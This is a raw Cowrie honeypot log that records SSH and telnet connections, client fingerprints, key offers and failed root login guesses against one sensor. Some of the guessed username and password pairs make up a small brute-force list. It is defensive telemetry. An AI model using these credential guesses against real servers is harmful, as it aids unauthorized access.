{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:c9:59:35:d8:18:50:c5:d9:c3:07:2c:dd:08:7e:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvUwwnbsYWrXcvitK9sodAH/PreMQcURMfYjdLTqp4zPEkboustdd0XiFpGfN0etOrUNrnNQY+whJDuk64GIORKpDzit1SQeZ+2x/5fJzaV5PzrphOLuooflgRIaJXl2dp7x/lHhGKlJMOWSyAzwZBxC+88BXyNtB0lZn/8X3DpCNLyWJeC2fmQ3uWy919tdZmh3OQaGWC7JnAcI2wSR8i/dN14nWHL4KhVMYqgi0Sevraj9MhkCrwVswFTub2YzyghdBdRzEytz1zzZAElGTLPcO1hPS7p/UJnNuh2lCJoKIZRyXZxc4RMBQ45JdYCeOb5C2EJ6fnFMsVDqiZd3Lr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:c9:59:35:d8:18:50:c5:d9:c3:07:2c:dd:08:7e:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.365234Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:c9:59:35:d8:18:50:c5:d9:c3:07:2c:dd:08:7e:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvUwwnbsYWrXcvitK9sodAH/PreMQcURMfYjdLTqp4zPEkboustdd0XiFpGfN0etOrUNrnNQY+whJDuk64GIORKpDzit1SQeZ+2x/5fJzaV5PzrphOLuooflgRIaJXl2dp7x/lHhGKlJMOWSyAzwZBxC+88BXyNtB0lZn/8X3DpCNLyWJeC2fmQ3uWy919tdZmh3OQaGWC7JnAcI2wSR8i/dN14nWHL4KhVMYqgi0Sevraj9MhkCrwVswFTub2YzyghdBdRzEytz1zzZAElGTLPcO1hPS7p/UJnNuh2lCJoKIZRyXZxc4RMBQ45JdYCeOb5C2EJ6fnFMsVDqiZd3Lr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.369225Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:56:c6:73:d5:56:bb:31:fa:52:c2:ab:0d:c0:39:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtCcv3HEASr5X6wPbWfkizqvqGWNgbUEO9NiPKqS8DYYrZAQk4YYF5i1ggHlYIBzv598stP1GegBvc5oYOjNlaHdQw4wCSVph13gPos9ABWU2nuw0lz3OEHple0lL/XH4uOPYM8dEbrzXtZUcVymDX/NXllRDwzl4DPxkqqie6UsTfvxgVg+vYCo6bWdqvLlSj3BCQo3duCyyFN0jRVPR9LIXGzmejX+zfiw/oyiFqA/paUhdBZrnjzM8o9JBlfyH3nVIoEj52pj7QL3T3NAqbIRY+5m/pSqWiCneT/77Wu9rUh9zYiAzXmGmCb95TO6CteLOGTF7VjIQbZtuvuWUN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:56:c6:73:d5:56:bb:31:fa:52:c2:ab:0d:c0:39:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.481872Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:56:c6:73:d5:56:bb:31:fa:52:c2:ab:0d:c0:39:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtCcv3HEASr5X6wPbWfkizqvqGWNgbUEO9NiPKqS8DYYrZAQk4YYF5i1ggHlYIBzv598stP1GegBvc5oYOjNlaHdQw4wCSVph13gPos9ABWU2nuw0lz3OEHple0lL/XH4uOPYM8dEbrzXtZUcVymDX/NXllRDwzl4DPxkqqie6UsTfvxgVg+vYCo6bWdqvLlSj3BCQo3duCyyFN0jRVPR9LIXGzmejX+zfiw/oyiFqA/paUhdBZrnjzM8o9JBlfyH3nVIoEj52pj7QL3T3NAqbIRY+5m/pSqWiCneT/77Wu9rUh9zYiAzXmGmCb95TO6CteLOGTF7VjIQbZtuvuWUN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.484862Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:76:ff:9d:2d:23:cb:01:1b:ad:b4:ed:05:34:e9:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKmXjue0BLcB+TWjlDiMwbOyO29NGmXQhpGTJKRqYJUW","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 04:76:ff:9d:2d:23:cb:01:1b:ad:b4:ed:05:34:e9:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.595039Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:76:ff:9d:2d:23:cb:01:1b:ad:b4:ed:05:34:e9:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKmXjue0BLcB+TWjlDiMwbOyO29NGmXQhpGTJKRqYJUW","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.598380Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:40:10:42:1e:43:be:bc:14:13:30:68:4e:7b:36:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhrv+1TOcfZs7EJALvnH/1+x+R0JI9zNjCBqro9YOcFC+ZSTM3xN1KDjOICkj3vkTr5jPS5jb7EXqq3Q3deli8v3xTC6ZWSrKz+lrTCjdFYtki+yUd/1ZQP9+U6PZVJB7kE/lcWMNJR8po+mrNCyoxqsAJ0Z/+4o2WbfmSZPhPqnyHloy01ylqVzAEqN1h7kYs5HWXbNOq6OplkvE526cqrOXVqu8U0m191mqlKxyJ1skUIChwearkVn9v37p0PUj4G2RGV+asH7WsUfsy8bj7B7T0AOUhvFut+j6L+S6uAs5WVATLiRGWUdFB6YQPm767gAFscWNa0zil447QH41x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:40:10:42:1e:43:be:bc:14:13:30:68:4e:7b:36:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.709713Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:40:10:42:1e:43:be:bc:14:13:30:68:4e:7b:36:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhrv+1TOcfZs7EJALvnH/1+x+R0JI9zNjCBqro9YOcFC+ZSTM3xN1KDjOICkj3vkTr5jPS5jb7EXqq3Q3deli8v3xTC6ZWSrKz+lrTCjdFYtki+yUd/1ZQP9+U6PZVJB7kE/lcWMNJR8po+mrNCyoxqsAJ0Z/+4o2WbfmSZPhPqnyHloy01ylqVzAEqN1h7kYs5HWXbNOq6OplkvE526cqrOXVqu8U0m191mqlKxyJ1skUIChwearkVn9v37p0PUj4G2RGV+asH7WsUfsy8bj7B7T0AOUhvFut+j6L+S6uAs5WVATLiRGWUdFB6YQPm767gAFscWNa0zil447QH41x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.712704Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:20.823421Z","src_ip":"170.238.136.42","session":"8b513d4b5922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.657010793685913,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:30.064496Z","src_ip":"66.132.172.177","session":"385ac0fc49c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.49456262588501,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:30.736039Z","src_ip":"66.132.186.175","session":"0edec447e588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54286,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0e6ef49c0a","protocol":"ssh","message":"New connection: 2.57.122.238:54286 (159.203.135.109:22) [session: 4c0e6ef49c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:32.507396Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:32.610061Z","src_ip":"2.57.122.238","session":"4c0e6ef49c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.175","src_port":20872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6455fab482","protocol":"telnet","message":"New connection: 66.132.186.175:20872 (159.203.135.109:23) [session: ca6455fab482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:34.319182Z"}
{"eventid":"cowrie.session.closed","duration":4.997803211212158,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:39.316858Z","src_ip":"66.132.186.175","session":"ca6455fab482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.175","src_port":48582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f07aa6be3407","protocol":"telnet","message":"New connection: 66.132.186.175:48582 (159.203.135.109:23) [session: f07aa6be3407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:42.687912Z"}
{"eventid":"cowrie.session.closed","duration":10.281193256378174,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:52.968954Z","src_ip":"66.132.186.175","session":"f07aa6be3407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":46020,"dst_ip":"10.17.0.5","dst_port":22,"session":"c667e02b28bd","protocol":"ssh","message":"New connection: 162.240.218.183:46020 (10.17.0.5:22) [session: c667e02b28bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:53.114254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:53.121139Z","src_ip":"162.240.218.183","session":"c667e02b28bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:53.210763Z","src_ip":"162.240.218.183","session":"c667e02b28bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tr0ng!P@ssw0rd","message":"login attempt [root/Tr0ng!P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:53.480136Z","src_ip":"162.240.218.183","session":"c667e02b28bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:01:54.581161Z","src_ip":"162.240.218.183","session":"c667e02b28bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":59202,"dst_ip":"159.203.135.109","dst_port":22,"session":"379dd69a29b0","protocol":"ssh","message":"New connection: 191.7.26.153:59202 (159.203.135.109:22) [session: 379dd69a29b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:03.652468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:03.659006Z","src_ip":"191.7.26.153","session":"379dd69a29b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:03.781502Z","src_ip":"191.7.26.153","session":"379dd69a29b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portale","password":"portale","message":"login attempt [portale/portale] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:04.287940Z","src_ip":"191.7.26.153","session":"379dd69a29b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:05.413263Z","src_ip":"191.7.26.153","session":"379dd69a29b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33392,"dst_ip":"159.203.135.109","dst_port":22,"session":"b866b34e043d","protocol":"ssh","message":"New connection: 103.172.78.219:33392 (159.203.135.109:22) [session: b866b34e043d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:05.904700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:05.907969Z","src_ip":"103.172.78.219","session":"b866b34e043d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.56187009811401,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:05.938759Z","src_ip":"170.64.224.25","session":"f3b153385940","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:06.162900Z","src_ip":"103.172.78.219","session":"b866b34e043d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090979","message":"login attempt [root/090979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:06.930313Z","src_ip":"103.172.78.219","session":"b866b34e043d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:08.188249Z","src_ip":"103.172.78.219","session":"b866b34e043d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":57518,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef84422a4b2","protocol":"ssh","message":"New connection: 95.130.227.33:57518 (10.17.0.5:22) [session: cef84422a4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:13.290220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:13.294369Z","src_ip":"95.130.227.33","session":"cef84422a4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:13.472755Z","src_ip":"95.130.227.33","session":"cef84422a4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mj123456","message":"login attempt [root/mj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:14.202655Z","src_ip":"95.130.227.33","session":"cef84422a4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:15.392961Z","src_ip":"95.130.227.33","session":"cef84422a4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":48482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e63ff1149a5","protocol":"ssh","message":"New connection: 181.218.9.86:48482 (159.203.135.109:22) [session: 8e63ff1149a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:27.506427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:27.510534Z","src_ip":"181.218.9.86","session":"8e63ff1149a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:27.658972Z","src_ip":"181.218.9.86","session":"8e63ff1149a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"will123","message":"login attempt [root/will123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:28.284351Z","src_ip":"181.218.9.86","session":"8e63ff1149a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:29.436205Z","src_ip":"181.218.9.86","session":"8e63ff1149a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60814,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e1e154e03f","protocol":"telnet","message":"New connection: 170.64.224.25:60814 (159.203.135.109:23) [session: 78e1e154e03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:31.078885Z"}
